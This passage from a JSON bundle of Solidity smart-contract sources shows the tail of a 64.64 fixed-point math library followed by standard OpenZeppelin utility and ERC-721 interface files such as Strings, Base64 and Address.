1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721Metadata is IERC721 {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC721/ERC721.sol": {
